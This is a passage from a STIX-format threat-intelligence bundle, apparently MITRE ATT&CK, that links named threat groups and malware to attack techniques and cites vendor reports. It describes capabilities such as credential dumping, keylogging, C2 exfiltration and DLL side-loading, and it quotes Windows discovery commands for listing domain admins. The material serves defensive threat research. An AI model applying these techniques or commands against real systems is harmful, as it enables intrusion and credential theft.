                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
                }
            ],
            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-19T19:46:38.477Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "id": "relationship--d82144cd-0b3f-465c-95aa-54764891e9b6",
            "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
            "relationship_type": "uses",
            "target_ref": "malware--56f46b17-8cfa-46c0-b501-dd52fef394e2",
            "external_references": [
                {
                    "source_name": "McAfee Night Dragon",
                    "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf"
                }
            ],
            "description": "(Citation: McAfee Night Dragon)",
            "type": "relationship",
            "modified": "2019-03-25T14:36:29.993Z",
            "created": "2019-01-30T18:02:59.508Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/",
                    "source_name": "Unit42 Cannon Nov 2018"
                }
            ],
            "description": "[Cannon](https://attack.mitre.org/software/S0351) exfiltrates collected data over email via SMTP/S and POP3/S C2 channels.(Citation: Unit42 Cannon Nov 2018)",
            "id": "relationship--48106cb0-a9c8-4c68-b90a-8d517078d189",
            "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
            "type": "relationship",
            "modified": "2019-04-22T19:48:08.974Z",
            "created": "2019-01-30T18:58:03.964Z"
        },
        {
            "id": "relationship--d2d11e48-91f9-4ebf-82b7-c194c0bee9b5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Gazer](https://attack.mitre.org/software/S0168) stores configuration items in alternate data streams (ADSs) if the Registry is not accessible.(Citation: ESET Gazer Aug 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Gazer Aug 2017",
                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
                }
            ],
            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5",
            "type": "relationship",
            "modified": "2020-03-20T21:54:45.567Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/",
                    "source_name": "Unit 42 NOKKI Sept 2018"
                }
            ],
            "description": "[NOKKI](https://attack.mitre.org/software/S0353) can collect the username from the victim\u2019s machine.(Citation: Unit 42 NOKKI Sept 2018)",
            "id": "relationship--9e1daa60-db2d-4671-b96f-3ebebe1977cc",
            "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-03-17T01:58:31.606Z",
            "created": "2019-01-30T19:50:46.750Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html",
                    "source_name": "Talos Konni May 2017"
                }
            ],
            "description": "[KONNI](https://attack.mitre.org/software/S0356) can take screenshots of the victim\u2019s machine.(Citation: Talos Konni May 2017)",
            "id": "relationship--af7323ae-bb42-49fd-9c8d-218a1335f662",
            "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2019-07-26T18:47:19.318Z",
            "created": "2019-01-31T00:36:40.968Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.",
                    "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt",
                    "source_name": "Cybereason Oceanlotus May 2017"
                },
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) has used mshta.exe for code execution.(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)",
            "id": "relationship--a7f5320a-dd76-4fa0-998f-44860ff1b307",
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade",
            "type": "relationship",
            "modified": "2019-07-17T13:11:38.457Z",
            "created": "2019-01-31T01:07:58.706Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.",
                    "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html",
                    "source_name": "FireEye Hacking FIN4 Dec 2014"
                },
                {
                    "description": "Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street?  FIN4 Likely Playing the Market. Retrieved January 15, 2019.",
                    "url": "https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html",
                    "source_name": "FireEye Hacking FIN4 Video Dec 2014"
                }
            ],
            "description": "[FIN4](https://attack.mitre.org/groups/G0085) has captured credentials via fake Outlook Web App (OWA) login pages and has also used a .NET based keylogger.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)",
            "id": "relationship--8cb59548-2e8d-4635-809b-b9ba22c94c31",
            "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T20:07:39.127Z",
            "created": "2019-01-31T02:01:45.695Z"
        },
        {
            "id": "relationship--3268cdc0-7cee-4fe5-92cc-2c3cdc06712b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Derusbi](https://attack.mitre.org/software/S0021) is capable of creating a remote Bash shell and executing commands.(Citation: Fidelis Turbo)(Citation: FireEye Periscope March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf",
                    "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.",
                    "source_name": "Fidelis Turbo"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "source_name": "FireEye Periscope March 2018"
                }
            ],
            "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56",
            "type": "relationship",
            "modified": "2020-03-19T19:23:45.392Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--cd58d271-9ee2-45d6-9ca3-22ae8da639b5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [Helminth](https://attack.mitre.org/software/S0170) VBScript receives a batch script to execute a set of commands in a command prompt.(Citation: Palo Alto OilRig May 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto OilRig May 2016",
                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
                }
            ],
            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
            "type": "relationship",
            "modified": "2020-03-16T16:55:39.630Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--2eb985a1-e73e-4554-8638-2e6f27690ec0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Sykipot](https://attack.mitre.org/software/S0018) may use <code>net group \"domain admins\" /domain</code> to display accounts in the \"domain admins\" permissions group and <code>net localgroup \"administrators\"</code> to list local system administrator group membership.(Citation: AlienVault Sykipot 2011)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "AlienVault Sykipot 2011",
                    "description": "Blasco, J. (2011, December 12). Another Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.",
                    "url": "https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies"
                }
            ],
            "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af",
            "type": "relationship",
            "modified": "2020-03-18T20:46:32.465Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--321544e0-902c-443e-adf9-d7e78f0e4d13",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Unknown Logger](https://attack.mitre.org/software/S0130) is capable of downloading remote files.(Citation: Forcepoint Monsoon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Monsoon",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
                }
            ],
            "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-16T19:50:03.313Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--a5efdeb3-10db-4e40-b8cd-61dee7d72cc0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SHOTPUT](https://attack.mitre.org/software/S0063) uses [netstat](https://attack.mitre.org/software/S0104) to list TCP connection status.(Citation: Palo Alto CVE-2015-3113 July 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto CVE-2015-3113 July 2015",
                    "description": "Falcone, R. and Wartell, R.. (2015, July 27). Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved January 22, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/"
                }
            ],
            "source_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
            "type": "relationship",
            "modified": "2020-03-18T20:44:39.393Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--de168dd4-3c59-4fa4-901a-911b1ee81a31",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has gathered information about network IP configurations using [ipconfig](https://attack.mitre.org/software/S0100).exe and about routing tables using [route](https://attack.mitre.org/software/S0103).exe.(Citation: F-Secure BlackEnergy 2014)(Citation: Securelist BlackEnergy Nov 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                {
                    "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf",
                    "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.",
                    "source_name": "F-Secure BlackEnergy 2014"
                },
                {
                    "source_name": "Securelist BlackEnergy Nov 2014",
                    "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                }
            ],
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            "type": "relationship",
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            "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used stolen code signing certificates to sign malware.(Citation: FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019)",
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            ],
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                {
                    "source_name": "FireEye Periscope March 2018",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
                },
                {
                    "source_name": "FireEye APT40 March 2019",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html",
                    "description": "Plan, F., et all. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019."
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            ],
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            "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082",
            "type": "relationship",
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            "created": "2018-04-18T17:59:24.739Z"
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            "description": "Droppers used by [Putter Panda](https://attack.mitre.org/groups/G0024) use RC4 or a 16-byte XOR key consisting of the bytes 0xA0 \u2013 0xAF to obfuscate payloads.(Citation: CrowdStrike Putter Panda)",
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                    "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.",
                    "source_name": "CrowdStrike Putter Panda"
                }
            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-03-25T16:53:38.841Z",
            "created": "2017-05-31T21:33:27.058Z"
        },
        {
            "id": "relationship--d9ae86e6-377b-45d5-b32c-89776fd7755c",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--e333cf16-5bfa-453e-8e6a-3a4c63d6bfcc",
            "relationship_type": "mitigates",
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            "modified": "2020-03-10T18:31:00.606Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
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            "description": "[Rover](https://attack.mitre.org/software/S0090) automatically searches for files on local drives based on a predefined list of file extensions and sends them to the command and control server every 60 minutes. [Rover](https://attack.mitre.org/software/S0090) also automatically sends keylogger files and screenshots to the C2 server on a regular timeframe.(Citation: Palo Alto Rover)",
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            ],
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                {
                    "source_name": "Palo Alto Rover",
                    "description": "Ray, V., Hayashi, K. (2016, February 29). New Malware \u2018Rover\u2019 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/"
                }
            ],
            "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38",
            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2020-03-16T17:46:07.859Z",
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            "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s <code>Invoke-TokenManipulation</code> Exfiltration module can be used to manipulate tokens.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)",
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                {
                    "url": "https://github.com/PowerShellMafia/PowerSploit",
                    "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.",
                    "source_name": "GitHub PowerSploit May 2012"
                },
                {
                    "url": "http://powersploit.readthedocs.io",
                    "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.",
                    "source_name": "PowerSploit Documentation"
                }
            ],
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            "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48",
            "type": "relationship",
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            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--76333b56-47b1-40c6-9223-c4cf6673362f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Some [SeaDuke](https://attack.mitre.org/software/S0053) samples have a module to extract email from Microsoft Exchange servers using compromised credentials.(Citation: Symantec Seaduke 2015)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "source_name": "Symantec Seaduke 2015",
                    "description": "Symantec Security Response. (2015, July 13). \u201cForkmeiamfamous\u201d: Seaduke, latest weapon in the Duke armory. Retrieved July 22, 2015.",
                    "url": "http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory"
                }
            ],
            "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a",
            "type": "relationship",
            "modified": "2020-03-17T16:34:05.489Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
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            "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) collects endpoint information using the <code>systeminfo</code> command.(Citation: McAfee Gold Dragon)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                {
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                    "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.",
                    "source_name": "McAfee Gold Dragon"
                }
            ],
            "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-04-21T23:09:31.593Z",
            "created": "2018-10-17T00:14:20.652Z"
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            "id": "relationship--f16c18f0-c5ac-4ea2-bfd0-222e63c09018",
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            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used Putty Secure Copy Client (PSCP) to transfer data.(Citation: PWC Cloud Hopper April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.",
                    "source_name": "PWC Cloud Hopper April 2017"
                }
            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6",
            "type": "relationship",
            "modified": "2020-03-17T16:55:08.254Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--02206f22-80e9-4f87-9e4b-5c1df1eb737e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Unknown Logger](https://attack.mitre.org/software/S0130) can obtain information about the victim computer name, physical memory, country, and date.(Citation: Forcepoint Monsoon)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Monsoon",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
                }
            ],
            "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-16T19:50:03.325Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--4a4664c1-47dd-4a4a-ab7b-0f64ec137a67",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ZeroT](https://attack.mitre.org/software/S0230) has used DLL side-loading to load malicious payloads.(Citation: Proofpoint TA459 April 2017)(Citation: Proofpoint ZeroT Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Proofpoint TA459 April 2017",
                    "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts"
                },
                {
                    "source_name": "Proofpoint ZeroT Feb 2017",
                    "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
                }
            ],
            "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
            "type": "relationship",
            "modified": "2020-03-17T02:54:39.781Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--ba64e6d1-4deb-440a-a4eb-1c3476b6fb47",
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            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81",
            "external_references": [
                {
                    "source_name": "FireEye APT28",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
                }
            ],
            "description": "(Citation: FireEye APT28)",
            "type": "relationship",
            "modified": "2019-09-09T17:44:36.187Z",
            "created": "2017-05-31T21:33:27.041Z"
        },
        {
            "id": "relationship--57a1f1a8-f1c0-4b7c-b5b4-f283a278833c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[pwdump](https://attack.mitre.org/software/S0006) can be used to dump credentials from the SAM.(Citation: Wikipedia pwdump)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Wikipedia pwdump",
                    "description": "Wikipedia. (2007, August 9). pwdump. Retrieved June 22, 2016.",
                    "url": "https://en.wikipedia.org/wiki/Pwdump"
                }
            ],
            "source_ref": "tool--9de2308e-7bed-43a3-8e58-f194b3586700",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011",
            "type": "relationship",
            "modified": "2020-08-13T20:12:50.925Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1251d1e2-21d3-48f2-a869-44507b34943a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TURNEDUP](https://attack.mitre.org/software/S0199) is capable of downloading additional files.(Citation: FireEye APT33 Sept 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html",
                    "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.",
                    "source_name": "FireEye APT33 Sept 2017"
                }
            ],
            "source_ref": "malware--db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-05-14T19:15:24.370Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--1f8be617-c842-4828-a352-9d5eafb8f477",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PUNCHTRACK](https://attack.mitre.org/software/S0197) is loaded and executed by a highly obfuscated launcher.(Citation: FireEye Fin8 May 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye Fin8 May 2016",
                    "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html"
                }
            ],
            "source_ref": "malware--c4de7d83-e875-4c88-8b5d-06c41e5b7e79",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-17T14:48:44.030Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--dbacc7d5-5d10-4b41-994d-51e0792cfb19",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pteranodon](https://attack.mitre.org/software/S0147) schedules tasks to invoke its components in order to establish persistence.(Citation: Palo Alto Gamaredon Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Gamaredon Feb 2017",
                    "description": "Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"
                }
            ],
            "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "type": "relationship",
            "modified": "2020-06-22T17:54:16.030Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--fca5a601-68fd-4b20-ad1e-0592cadecb73",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd",
            "relationship_type": "uses",
            "target_ref": "malware--8b880b41-5139-4807-baa9-309690218719",
            "external_references": [
                {
